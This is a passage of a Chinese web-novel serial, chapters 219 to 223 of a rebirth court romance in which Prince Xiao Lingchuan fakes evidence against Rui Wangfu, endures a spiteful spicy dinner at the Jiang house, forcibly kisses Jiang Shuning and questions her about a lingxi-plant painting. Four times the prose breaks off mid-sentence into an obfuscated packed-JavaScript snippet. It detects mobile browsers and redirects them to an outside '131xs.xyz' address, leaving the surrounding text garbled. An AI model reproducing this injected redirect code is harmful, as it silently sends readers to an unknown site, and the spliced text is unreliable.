他虽重生,步步为营,却终究无法掌控所有人的命运与选择。 短暂的失神后,姜姝宁不着痕迹地抽回自己的手。 她敛衽一礼,语气真诚:“太子殿下宅心仁厚,若有宁王殿下的辅佐,定能顺利登基,成为一代贤君。此乃大邺之福。” 她明白,太子登基,未必能帮她报兄长的血海深仇,但对天下百姓而言,绝对是最好的结局。 至于她的仇…… 姜姝宁垂下眼帘,掩去眸中一闪而过的、冰冷的杀意。 看来,只能另辟蹊径,靠自己来报了。 她的回应让萧怀瑾松了口气。 他没猜错,姜姝宁并非站队萧凌川,更不可能心悦于他。 “太子继位,本是天命所归。”萧怀瑾压低了声音,原本温润的嗓音此刻带上了一丝金石般的沉冷,“怕只怕,有人要逆天而行,在这登基路上节外生枝。毕竟,大典一日未行,君臣名分便一日未定。” 姜姝宁心头一凛。 “殿下是担心……景王会从中作梗,破坏登基大典?” 萧怀瑾迎着她的目光,一字一句,掷地有声:“四哥的野心,从来都不是‘作梗’那么简单。他要的是整个江山。只要太子一日未坐上那把龙椅,便一日有性命之虞。而我们,绝不能让四哥的图谋得逞。” 姜姝宁知道萧怀瑾这番话并非危言耸听。 每每想起比前世早了一年驾崩的先帝,一股彻骨的寒意都会顺着脊骨猛地窜起,让她遍体生寒。 她毫不怀疑,萧凌川会在登基大典之前对太子萧政贤动手。 毕竟,对他而言,那不过是毫无血缘关系的外人罢了。 第219章 兴师问罪 第二百一十九章兴师问罪 天色已暗,景王府却火光冲天,映红了半边夜空。 下人们提着水桶来回奔走,呼喊声与木梁断裂的噼啪声混杂在一起,一片混乱。 萧凌川踏入王府时,周身的气压低得仿佛能凝结出冰霜。 一名侍卫踉跄着上前禀报:“王爷!有人潜入书房,似乎在翻找什么。我们发现后与其交手,谁知他竟有同伙在外放火!我们的人手被迫分去救火,就……就让他们趁乱逃了……” 萧凌川一言不发,无视仍在冒着浓烟的后厨,径直走向书房。 房内一片狼藉,书架倾倒,无数珍本古籍、卷宗字画被粗暴地翻倒在地。 他缓步走入,目光如利刃般一寸寸扫过这片狼藉。 “可有少了什么东西?”他声音冷得不带一丝温度。 “回王爷,清点过了,似乎……什么都没少。看样子,他们是冲着某幅字画来的,专挑放置字画的箱笼翻找,但还没找到想要的东西,就被我们惊动了。” 萧凌川的视线最终定格在书案的脚下。 在那里,静静地躺着一根被人遗落的剑穗。 他弯腰拾起,那剑穗以银线编络,坠着一枚小小的墨玉,工艺精细,绝非寻常侍卫所能佩戴。 他用指腹摩挲着那微凉的墨玉,这是他三哥府上侍卫佩戴的剑穗。 难怪,瑞王府的贵妾姜莲会忽然出现在宁王府,用香料让姜姝宁“醉倒”,还口口声声让他去照顾。 原来他们是想将他留在宁王府,好派人来他书房里翻找东西。 “好一个调虎离山。”他低声冷嗤。 “王爷,属下不明白,”凌风一头雾水道,“瑞王府的人在我们书房里,到底想找什么?这里明明什么机密都没有!” “本王也想知道。”萧凌川的眼神幽深如潭,“直接去去一趟瑞王府问他们好了。另外,” 他将那枚精致的剑穗丢给凌风,眼中闪过一丝狠厉的光,“找一枚瑞王府侍卫的腰牌,绑死在上面。本王要这份‘罪证’,铁证如山!” 景王府的火光还未完全熄灭,景王萧凌川已经带着一队人,浩浩荡荡直达瑞王府大门。 府内,一名护院连滚带爬地冲进正堂,声音因恐惧而变了调:“王爷!不好了!景、景王殿下他……他来了!” “砰”的一声,萧修湛手中的茶杯失手摔碎在地。 他脸色瞬间煞白,下意识地捂住了自己那条被废的右臂,那蚀骨的剧痛好像又回来了。 “他来做什么?难道……是来兴师问罪的?” 一旁的姜瑶真见他这副模样,强压下心头的慌乱,连忙安抚道:“殿下别紧张!我们的人全须全尾回来,他不可能发现是我们干的!” 萧修湛的脸色这才稍稍缓和,但眼中的惊惧未散分毫,只咬牙道:“去告诉他,本王身子不适,不见客,让他滚!” 他恨透了萧凌川,更怕他入骨。 护院战战兢兢道:“可……可景王说,他手中有铁证,能证明今夜的大火是您指使的!若、若您不见他,他便……便立刻将证据呈交大理寺!” “混账!”萧修湛扭头怒视姜瑶真,“你不是说万无一失吗?这又是怎么回事!” 姜瑶真也被弄得心慌意乱:“殿下莫慌,我去会会他!我倒要看看,他究竟能拿出什么‘铁证’来!” 正厅里,萧凌川姿态闲适地品着茶。 府里的下人都知道瑞王的手臂是被眼前这煞神一般的景王所废,服侍他喝茶都战战兢兢。 姜瑶真也是做了许足了的心理建设,才勉强端着瑞王妃的架子,款款走入。 “不知景王殿下突然大驾光临,所为何事?” 萧凌川这才抬眸看她,慢条斯理地呷了一口茶,唇角勾起一抹冰冷的笑意:“这话,该是本王问瑞王妃才对。 大费周章地引开本王,就是为了去我书房里翻东西?不如直接说出来想找什么,本王或许可以直接给你。” 姜瑶真神色一僵,指尖瞬间冰凉,但很快又恢复了镇定。 她落座在萧凌川对面,皮肉不笑:“妾身不知景王殿下在说些什么。” “是吗?”萧凌川像是听到了什么有趣的笑话,他从袖中取出一物,随手抛在桌上。 那是一枚瑞王府侍卫的玄铁腰牌,而腰牌的络绳上,赫然绑着一根眼熟的、带墨玉的银线剑穗。 “那本王只好把这东西送去大理寺了。”萧凌川的语气轻描淡写,眼神却锐利如刀,“铁证如山,瑞王纵火行凶,意图谋害亲王。这个罪名,想来足够让他在宗人府里待一辈子了。” 看到那腰牌的瞬间,姜瑶真脸上的血色“唰”地一下褪得干干净净! 她明明叮嘱过侍卫,行动时绝不能佩戴任何能暴露身份之物! 这腰牌是哪来的?这剑穗……又怎么会绑在腰牌上的? “景王殿下!”她声音尖锐了几分,“这腰牌真伪尚且不知,即便是我王府之物,也不过是遗失在外,怎能证明景王府的火与我们有关?!” “看来瑞王妃真是不见棺材不落泪。”萧凌川轻蔑地笑了笑,拍了拍手。 凌风立刻会意,与另一名暗卫一起,将一个浑身狼狈、脸上还带着灼烧灰尘的侍卫粗暴地推了进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953505|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扔在地上。 登门问罪只是障眼法,真正的目的,是让凌风趁着瑞王府的人不备,将那名藏匿的纵火犯直接拿下。 那侍卫一看到姜瑶真,仿佛看到了救命稻草,立刻挣扎着大喊:“王妃!王妃救我啊!” “住口!”姜瑶真厉声喝断,声音里充满了无法掩饰的恐慌。 “现在,人证物证俱在。”萧凌川缓缓站起身,居高临下地俯视着她,目光阴鸷, “瑞王妃可以告诉本王,你们到底在找什么了吧?” 姜瑶真自然不能告诉他,自己在找记载了南月玉牌上详细花纹图案的那副画,否则,他肯定知道自己意图伪造玉牌,届时又怎么可能同意和她做交易? 可若不给他想要的答案,他是不会罢休的。 她脑海中灵光一现,想到了一个说辞。 “不瞒景王殿下,事关我姐姐姜姝宁的闺誉清白,所以,妾身不能说!” “姜姝宁”三个字一出,萧凌川周身那股几乎要将人碾碎的煞气,竟奇迹般地停滞了一瞬。 “姜姑娘?跟她有什么关系?” 看到他神色变化,姜瑶真松了口气,她赌对了! 果然只要扯上姜姝宁,萧凌川便会失去判断力。 “是姐姐让妾身必须保密的!所以,妾身不能说!要不……殿下先问过姐姐?” “瑞王妃是在戏耍本王吗?”萧凌川神色阴沉,“有什么秘密,需要你派人潜入本王的王府,甚至不惜放火烧了我的后厨去偷?” “殿下可还记得,那日妾身与殿下在来福酒楼见面,尔后又见了妾身的姐姐。”姜瑶真煞有介事,真假参半道,“就是那个时候,姐姐告诉妾身,殿下的书房里藏着一件对她而言至关重要的东西。 她还说,若妾身能将那东西偷出来,她便同意跟妾身做交易。妾身这才命人潜入景王府,想将那样东西偷出来。至于失火之事,殿下明鉴,那绝非妾身本意!” 萧凌川冷笑:“你以为这么荒谬的理由,本王会信吗?” “殿下若是不信,大可以去问姐姐!”姜瑶真迎上他的目光,“您去问问她,看妾身今日所言,是否有半句虚假!” 萧凌川死死地盯着她,眼中怒意与疑虑交战。 半晌,他忽然嗤笑一声,那笑意里没有半分温度,只有森然的寒意。 “好。”他缓缓道,“本王,就亲自去问问她。” 他转身,留给姜瑶真一个冰冷的背影,声音如同最终的宣判: “希望届时,你的说辞和她的一样。否则,瑞王妃,你该知道用她的名字来欺骗本王,会是什么下场!” 第220章 登门蹭饭 第二百二十章登门蹭饭 直到萧凌川那煞神离开,姜瑶真方才紧绷到极致的心弦才骤然松弛,紧接着便是一阵阵后怕的晕眩。 不管怎样,总算是把这烫手山芋抛给了姜姝宁。 至于接下来会发生什么,她已经顾不得了,能多活一刻便是一刻。 她唤来姜莲:“今日在宁王府,姜姝宁说了什么,做了什么,一五一十,本宫要知道每一个细节。若敢藏半个字……” 她顿住,终于抬眸,那阴鸷的目光像毒蛇一样缠上了姜莲。 “……本宫会让你知道,什么叫生不如死。” 姜莲浑身抖如筛糠,颤声道:“是,王妃……” 她不敢有丝毫隐瞒——除了姜姝宁提议用“假死”来帮她脱身那一句。 她磕磕巴巴地将自己如何引萧凌川入局,又如何被突然出现的萧怀瑾打乱计划,导致两位王爷当场争锋相对的经过,全部复述了一遍。 姜瑶真听完,脸上毫无波澜,目光却步步紧逼:“就这些?没别的了?” 姜莲思忖片刻,想到了另一件事: “还、还有一桩!张尚书家的张嫣小姐向宁王殿下表白被拒,一时想不开就跳了湖,差点就没命了!是大姐姐把她救活的!” “呵。”姜瑶真发出一声满是鄙夷的冷哼,“姜姝宁,她还真是走到哪里都忘不了出风头!怎么,宁王府的府医是死绝了么,竟要让她一个半吊子来抢这份功劳!” 姜莲下意识地辩解道:“不是的!大姐姐说她从前去过南朔城,还在那里正经行过医,应当是有些真本事的……” “你说什么?” 姜瑶真阴鸷的眸子瞬间迸发出骇人的精光,她一把抓住姜莲的衣襟,将她整个人都拽了起来,声音尖锐而急切: “再说一遍!她去过哪里?!” “南……南朔城!” 这个地名如同一道惊雷,在姜瑶真脑中轰然炸开! 她的姨娘,当初正是为了去南朔城暗杀萧凌川,才从此人间蒸发,音讯全无的! 而姜姝宁,竟然也去过那个地方! 一条看不见的线,在这一刻被猛然接上。 那块南月玉牌,说不定,真的就在姜姝宁手上! —— 另一边,返回姜府的马车上,姜姝宁看着身旁显得有些心不在焉的堂弟,随口问道:“方才一直没见你人影,可是去结交新朋友了?” 姜天泽“嗯”了一声,漫不经心道:“姐姐说得对,宁王殿下身边确实**了许多青年才俊。我遇到几个投缘的,便多聊了几句,一时忘了时辰。” 姜姝宁心中微微一动,看似随意地追问:“哦?这么说,你方才一直与宁王殿下他们在一处?” “是啊,怎么了?” “没什么。”姜姝宁浅笑着摇了摇头,垂下眼帘,掩去了眸底一闪而过的诧异。 萧怀瑾方才分明一直在她身边,天泽又怎么可能同时与他在一起? 他为何要对她说谎? 回到府中,姜姝宁唤来凌芜:“张姑娘如何了?” “回大小姐,张姑娘受了重寒,府医说寒气侵体,怕是要好生休养一阵子。奴婢去探望时,她睡着了都还在喊疼。”凌芜压低声音,“张尚书怕事情传出去不好听,已经派人将她强行接回府了。” 为了一个不爱自己的男人,竟在大庭广众之下做出跳湖这样匪夷所思的事,把自己的身子作践到这般地步。 姜姝宁心中微叹,只觉得这张嫣既可怜,又可悲。 凌芜犹豫片刻,终是忍不住补充道:“大小姐,还有一事。奴婢去探望张姑娘时,无意间发现,三少爷竟在不远处透过窗子偷偷望着张姑娘,还在原地站了许久许久……” “三弟?”姜姝宁一愣,一个荒唐又似乎合理的念头瞬间占据了她的脑海。 难道他心悦张嫣? 从前两家本是有意结亲的,后来相看那日,张嫣意图给姜天泽下毒,这亲才结不成。 难道是因为那次不打不相识,反倒让张嫣入了姜天泽的眼? 若是如此,那就麻烦了。 姜姝宁幽幽叹了口气,心中五味杂陈:“天泽他,怕是要一辈子单相思了。” 然而此刻,她以为为情所困的弟弟,此时脸上没有半分苦涩,反而带着一种病态的、狂热的兴奋。 他激动地对姜三夫人说:“母亲!我今日试了,那蛊虫果然有用!我能用母蛊,随心所欲地控制子蛊!” 姜三夫人脸色一变,抓住他的手:“那母蛊,你种在了自己体内?” “那是自然!否则如何控制子蛊?”姜天泽的眼睛亮得吓人,“母亲您不知道,那种感觉……我只需心念一动,那个中了子蛊的人,就会听从我的指令,做出连她自己都无法控制的事来……” “天泽!”姜三夫人厉声打断他,“听娘的话!蛊术与毒物不同,稍有不慎便会反噬己身,你万万不可再碰了!” “母亲放心,我有分寸。”姜天泽的笑容里满是掌控一切的笃定与痴迷。 这不过是一次小小的尝试。 比起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953506|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下毒,这操纵人心的蛊术,可有趣多了! —— 夜幕降临,姜府正厅灯火通明,一家人正要用膳,下人却忽然通报,说景王殿下登门。 空气瞬间凝滞。 姜丞相满脸诧异,下意识地看向身旁的女儿。 姜姝宁心头一沉,缓缓摇了摇头,示意自己毫不知情。 萧凌川这煞神突然到访,绝无好事。 尽管父女两人心中困惑,但还是将他请进来。 寒暄不过两句,姜丞相便出于礼数,客气地问了一句:“不知王爷可用过晚膳了?” 姜姝宁心中暗道不好,想出声阻止,已然来不及。 “还未。”萧凌川的回答干脆利落,目光却若有似无地扫过桌上的饭菜。 奔波了一日,他的确有些饿了。 “王爷若不嫌弃,便与老臣一同用些便饭吧!”姜丞相热情地发出了邀请。 “父亲!”姜姝宁再也忍不住,出声制止。 她上前一步道:“王爷金尊玉贵,口味挑剔,我们府中的粗茶淡饭,怕是不合王爷的胃口。依臣女看,不如……” “无妨。”萧凌川打断她的话,顺势露出一副无可奈何的头疼模样,对姜丞相叹了口气,“今日府里进了贼人,意图潜入书房行窃,被发现后,其同伙竟点燃了后厨……如今本王回府,怕是连一口热饭都吃不上了。” 姜丞相一听,义愤填膺道:“岂有此理!天子脚下,歹人竟猖狂至此!王爷放心,区区饭食,姜府还是管得起的!若王爷不嫌弃,在王府修缮妥当之前,随时都可来府中用膳!” 这下,连姜姝宁都惊呆了。 她眼睁睁看着萧凌川唇角勾起一抹得逞的笑意,对着她父亲欣然应下:“那本王便却之不恭,多谢姜丞相了。” 说完,他便熟稔地在姜姝宁身侧的空位上坐了下来。 姜姝宁胸口一阵气血翻涌。 萧凌川的厚颜无耻已经到了让她叹为观止的地步。 她深吸一口气,压下当场翻脸的冲动,换上殷勤的笑容:“饭菜有些凉了,来人,重新送去厨房加热!可千万别让王爷吃到凉了的饭菜!” 说着,她便和端着菜的婢女们一起去了后厨。 一进厨房,她便吩咐厨子: “今晚的每一道菜,务必保证姜、葱、蒜、辣椒,都齐全!再挑几条鱼清蒸了送上去!还有那锅羊肉汤,胡椒粉多多益善!” 既然景王殿下这么喜欢来姜府用膳,那她,就必定让他“宾至如归”,永生难忘! 第221章 报复意味的吻 第二百二十一章报复意味的吻 转瞬之间,几道“焕然一新”的菜肴便被重新端了上来。 所有菜肴,无一例外地铺满了厚厚的姜丝、葱段与鲜红的辣椒,浓烈的辛香气息扑面而来,仿佛一场蓄谋已久的围剿。 萧凌川脸上客套的笑意彻底凝固。 他握着筷子的手在空中停顿片刻,随即缓缓收了回去。 姜丞相不明所以,依旧热情地劝道:“王爷,别客气,快动筷啊!” “是啊,王爷。”姜姝宁抬起一双清亮无辜的眼眸,“您怎么不夹菜?难道是嫌弃我们姜府的饭菜难以下咽?” 她的尾音微微上扬,带着几分戏谑。 萧凌川的眼角微抽。 他脑中闪过前世偶尔陪她回门时的场景——满桌佳肴,无一不是按他的喜好精心烹制。 两相对比,何其讽刺。 他还能如何? 只能硬着头皮上了。 “怎么会?本王不挑食。”他从牙缝里挤出这句话,随即面不改色地夹了一大口白饭塞进嘴里。 无妨,他光吃饭也能吃饱。 可姜姝宁并不打算轻易放过他。 她亲手夹了一块浸满了红油的鸡块放入他碗中。 “王爷,这可是我们府上厨子的拿手好菜,您尝尝。若是喜欢,往后您来的每一顿,臣女都让厨子为您备着!” 萧凌川死死盯着碗里那块红彤彤的鸡肉,几乎能想象到它在口腔中炸开的,是何等恐怖的滋味。 他一阵头皮发麻。 见他迟迟不动,姜姝宁故作关切地追问:“怎么,王爷不喜欢?臣女早就说了,姜家的饭菜恐怕……” “本王喜欢!” 萧凌川猛地打断她,他深吸一口气,像是奔赴刑场的勇士,毅然决然地将那块辣子鸡整个塞进嘴里。 辛辣的烈焰瞬间将他的味蕾灼烧! 为了不失态,他只能飞快刨了几大口白饭,试图用米饭去去**那股横冲直撞的灼痛,然后囫囵着将所有东西一并咽下。 “……好吃!”他抬起头,看向姜姝宁,那张素来冷硬白皙的俊脸上,已经不受控制地染上了一层薄红,连额角都渗出了细密的汗珠。 那双深邃的眼眸里,翻涌着滔天的怒火与……一丝狼狈的委屈。 戏弄他至此,她满意了吧? “王爷喜欢,那就多吃点。” 姜姝宁笑得愈发灿烂,反手又给他夹了一筷子沾满了姜末蒜蓉的鱼肉。 那股混合着腥气的味道,同样是萧凌川避之不及的噩梦。 他盯着碗里的鱼肉,沉默了足足三息,再次深吸一口气,面无表情地夹起,直接吞了下去——连嚼都没敢嚼一下。 这一幕,终于让一旁的姜丞相和姜夫人看出了端倪。 “王爷,这些菜肴若是当真不合胃口……” “姜丞相多虑了。”萧凌川再次打断,声音已经带上了一丝不易察觉的沙哑,但眼神却前所未有的坚定,“相府的菜肴,本王甚是喜欢,定会尝遍每一道菜!” 他很清楚,只要他露出半分退意,姜姝宁便会立刻抓住把柄,顺理成章地将他永远拒之门外。 想让他知难而退? 做梦。 不过是姜葱蒜和辣椒罢了,他奉陪到底! 接下来的每一口菜,对萧凌川而言都是一场无声的酷刑。 他面沉如水,动作不见丝毫迟滞,只有额角不断渗出的细密汗珠,和他偶尔放下筷子时那微微颤抖的指尖,泄露了他正在忍受的煎熬。 姜丞相与姜夫人看在眼里,急在心上,几次想开口劝阻,却又见他那副不容置喙的坚毅神情,只能将话又咽了回去。 一时间,饭桌上的气氛压抑得近乎凝固。 终于,在将最后一道菜咽下后,萧凌川重重地放下了碗筷,如释重负。 “本王用完膳了,多谢姜丞相盛情款待。” 就在这时,姜姝宁亲手端来一碗清亮见底的羊肉汤,放到他面前,声音是从未有过的温婉柔和。 “夜里天凉,王爷喝碗热汤,暖暖身子吧。” 那汤看起来毫无威胁,萧凌川不疑有他,端起来便喝了一大口—— 下一瞬,一股霸道辛辣的暖流猛地在他喉间炸开! 那呛人的胡椒味仿佛千万根细针,瞬间击溃了他用整晚意志力筑起的防线。 “咳、咳咳咳!” 他猛烈地咳嗽起来,俊脸涨得通红,连眼角都咳出了生理性的泪水。 “王爷!”姜丞相大惊失色,慌忙道,“快!快给王爷倒水!” 婢女手忙脚乱地递上水杯,萧凌川一饮而尽,却丝毫无法压下那股火烧火燎的劲儿。 “……本王想喝茶。”他扶着桌沿,脸憋得通红,艰涩地开口。 “宁儿,快送王爷去花厅,上最好的茶!” “是,父亲。”姜姝宁自知玩笑开过了火,不敢再多言,引着狼狈不堪的萧凌川去了花厅。 花厅内静谧清幽,更衬得萧凌川此刻的狼狈。 他靠在椅背上,鬓发被汗水打湿,急促的呼吸尚未平复。 姜姝宁看着他这副既可恨又莫名有些可怜的模样,倒了杯冰水递过去,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963610|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不忘刺了一句: “王爷,喝点水润润喉吧。今夜这番罪,怪不得旁人,要怪,就怪您自己逞强。明知这些东西不合胃口,您还非要……” 她话还没来得及说完,萧凌川便长臂一伸,猛地将她拽入怀中! 他的唇带着滚烫的温度和惩罚的意味,不由分说地狠狠烙在了她的唇上。 浓烈的男性气息混合着还未散去的胡椒味,瞬间侵占了她所有的感官。 “唔……” 她想挣扎,他却用铁臂将她死死禁锢,另一只手扣住她的后脑,让她避无可避,只能被迫承受这个充满了报复意味的吻。 良久,他才缓缓松开她,看着她同样染上绯色、微微红肿的唇瓣,心满意足地用沙哑的嗓音低语: “现在,你知道方才那碗羊肉汤有多厉害了吧?” 姜姝宁又羞又恼,嫌恶地用力擦着自己的嘴唇:“无耻!” “本王无耻,”他低笑一声,那笑声震得她胸口发麻,“姜姑娘恶毒。我们,岂不是很般配?” “王爷深夜造访,恐怕不只是为了吃这顿饭这么简单吧?”姜姝宁咬牙切齿地问。 萧凌川目光落在她嫣红的唇上,有片刻失神。 “自然不是。本王是来问你,是否曾对瑞王妃提过,本王书房里,有一幅你特别想要的字画?” 姜姝宁心头猛地一跳,瞬间想起来福酒楼里,自己为搪塞姜瑶真随口编造的谎言。 她有些心虚地别开眼:“臣女不过是随口一说,难道不行吗?” “本王只是好奇,”萧凌川的语气变得玩味起来,“究竟是怎样一幅字画,竟让你们姐妹二人如此挂心?瑞王妃为了它,不惜派人夜闯王府,事情败露之后,还放火烧了本王的厨房。” “什么?!”姜姝宁大骇,她怎么也想不到,姜瑶真竟真的会蠢到去偷! 她到底是有多想得到南月玉牌! “瑞王妃说,那幅字画,关乎你的清誉,所以不能让本王知晓。”萧凌川步步向她逼近,高大的身影几乎将她完全笼罩。 他俯下身,温热的气息喷薄在她耳畔,声音低沉而危险: “本王实在想不通,我的王府里,究竟藏了什么能与姜姑娘清誉相关的东西?” “你若想要,不如直接来同本王说。何必舍近求远,去和瑞王妃做交易?” 姜姝宁对上他讳莫如深的眼眸,瞬间全明白了。 姜瑶真派人偷窃失手,被萧凌川逮个正着。 为了脱身,她不敢提及南月玉牌,便将自己当初的谎言当做借口,把这尊煞神引到自己这里来! 第222章 姝宁,你又骗本王! 第二百二十二章姝宁,你又骗本王! “到底是什么字画?怎么不说?”萧凌川的追问将姜姝宁的思绪拉了回来。 她抬眸,对上他那双满是探究的桃花眼,唇角勾起嘲讽的弧度:“臣女说了,王爷当真会给吗?” “自然。”萧凌川毫不犹豫,“只要本王有,没什么不能给。所以,你到底要什么?” 她要什么? 若是前世,那自然是他的爱。 但今生,她只想他离她越远越好。 那副字画本就是用来搪塞姜瑶真的,姜姝宁自然说不出个理所然来。 但前世,她真的曾满怀期盼向他讨要过一幅画。 那是在他的书房,她无意间看到一幅画,上面绘着一种她从未见过的奇特草木,叶片上带着神秘而优美的纹路。 那时她正在为他学做香囊,见他似乎对那幅画格外珍视,便天真地以为他喜爱那画上的植物,想讨来画作,照着样子绣在亲手缝制的香囊上。 她记得自己当时小心翼翼讨要后,他骤然冰冷的面孔和不带一丝温度的斥责。 “这画也是你能要的?出去!往后不许再踏入本王书房半步!” 那些无情的话,如今依旧在耳边响彻。 后来,已是瑞王妃的姜瑶真,在他生辰时亲手奉上了一只香囊,上面绣着的,正是那种她连多看一眼都被斥责的草木。 而他如获至宝,郑重地贴身收藏。 那种植物,她后来在南月玉牌的图样上见过,是南月特有的植物。 原来,在他心中,有些东西,姜瑶真可以轻易得到,而她,却连触碰的资格都没有。 想到这,姜姝宁抬起眼,迎上他探究的视线,缓缓开口: “臣女想要的,是王爷曾画过的那幅草木图。上面绘着一种叶片带着奇特纹路的草木。” 萧凌川思索片刻,随即了然一笑:“你说的是灵犀草。那是南月独有的祥瑞之草。本王的确画过一幅,你若喜欢,本王便寻来送你。” 姜姝宁的心脏,像是被什么东西不轻不重地撞了一下,瞬间失语。 她怔怔地看着他。 就这么简单? 前世她费尽心思、鼓足勇气去讨要,换来的却是冰冷的斥责。 今生,不过是轻飘飘的一句话,他就如此轻描淡写地许诺了。 这巨大的反差,让她一时间竟有些适应不了。 萧凌川敛了笑意,身体微微前倾,再次将问题拉回了原点:“本王只是好奇,区区一幅灵犀草图,如何能与你的清誉扯上干系?” 姜姝宁轻咳一声,含糊其辞:“……是臣女随口胡诌的,瑞王妃恰好当真罢了。” “是么?”萧凌川的唇角勾起一抹冷冽的弧度。 “姜瑶真虽然算不上顶顶聪明,却也绝非任人摆布的蠢货。为了一幅画,即便它真的与你清誉有关,她也不至于冒着触怒本王的风险,派人夜闯王府行窃。” 他的目光骤然变得锐利如刀,牢牢地锁住她,一字一顿: “姝宁,你在骗本王。” 姜姝宁心口一紧,但很快恢复如常。 “王爷,真相并不重要,重要的是臣女给瑞王妃的承诺。臣女承诺她若能找到那幅画,我便能让她得偿所愿。只是没想到她竟如此狗急跳墙,入王府**,还烧了王爷的厨房。” “得偿所愿?”萧凌川桃花眸危险地眯起,紧紧攫住她的视线,“姜瑶真究竟有什么心愿,能让她疯狂至此?” “王爷不知道?王爷前世不是还承诺要给她的吗?”姜姝宁凑近他,冷嗤一声,“自然是这大邺的后位!” 萧凌川眸色微沉。 前世他和姜瑶真在屏风后说话,被姜姝宁撞见的场景,毫无征兆地闯进他脑海里。 那是姜姝宁第一次也是唯一一次朝他发那么大的火。 然后,她便在他面前吐血身亡,决绝得丝毫不给他半点解释的机会。 萧凌川心口一滞,铺天盖地的痛楚仿佛要将他彻底吞噬。 就在这时,姜丞相与姜夫人来到花厅。 他们看到女儿与景王殿下靠得极近,姿态亲密得近乎暧昧。 姜夫人想开口说什么,便被姜丞相拉走了。 “老爷,宁儿到底怎么回事?她不是不愿嫁给景王殿下吗?如今为何又和他这般……” 姜丞相道:“宁儿有自己的打算。她如今不愿嫁给景王殿下,肯定有她的考量。我们做父母的,尊重她的决定即可。” 姜夫人忧心忡忡:“我就是担心宁儿的清誉……” “夫人别担心,景王是有分寸之人,不会让我们宁儿为难的。”姜丞相宽慰道。 他是有几分私心的。 如今朝中几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963611|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位王爷,论才干,论权势,论心性,也唯有这位景王殿下,能与自家这颗掌上明珠相配。 若景王真能成为他的女婿,他自然求之不得。 花厅里,空气仿佛凝固。 萧凌川声音艰涩地开口:“本王有必要跟你解释清楚,前世本王与姜瑶真的种种,其实不过是……” “王爷是想说,您与她不过是虚与委蛇,相互利用,并无半分真情,对吗?”姜姝宁脸上的嘲讽之色加深,“王爷演技卓越,就连前世的我都被你骗了,谁又能保证,今生的这一切,不是王爷另一场戏码呢?” 一朝被蛇咬,十年怕草绳。 她曾被欺骗伤害过,又怎么可能轻易相信一个擅长逢场作戏的人? 萧凌川喉咙像是被什么堵住了,一个字也说不出来。 他从未如此刻一般,感到无力和挫败。 再多的解释,都不过是欲盖弥彰的笑话。 良久,他才开口:“茶水不喝了,本王回府,去帮你寻那副灵犀草画。” 他起身离开的背影,带着一种无声的僵硬与溃败。 姜姝宁看着他,没有放过这个机会,用一种近乎残忍的平静,在他身后补上了最后一刀: “王爷往后,应该不会再来姜府用膳了吧?” 他转头,原本黯然的眸色重新凝聚起一丝不容置喙的锋芒:“那怎么行,本王答应过姜丞相的。” 姜姝宁顿时一阵恼火。 话都说到这份上了,他怎么还如此厚颜无耻? 萧凌川回到府中,径直走向书房。 书房内,下人们还在小心翼翼地收拾着被翻得乱七八糟的物件。 他一眼就看到了那幅被放在桌上,还沾着些许灰烬的画卷。 他走过去,俯身捡起,缓缓展开。 画上那熟悉的灵犀草纹路,清晰地映入眼帘。 就是它。 姜姝宁想要的那幅画。 他唤来下人:“这幅画是在哪里找到的?” 下人答道:“回王爷,这幅画当时被贼人扔在地上,小的方才将其捡起来放好。” 扔在地上? 萧凌川眼底陡然掠过一丝阴鸷,他修长的手指猛地收紧,画卷在他掌心被捏得变了形。 姝宁,你又骗本王! 姜瑶真派人来王府找的,根本不是这幅画! 第223章 她被算计了 第二百二十三章她被算计了 萧凌川唤来凌风,声音平静得令人心悸:“去瑞王府安插我们的人,给本王好好盯住瑞王妃的一举一动。” 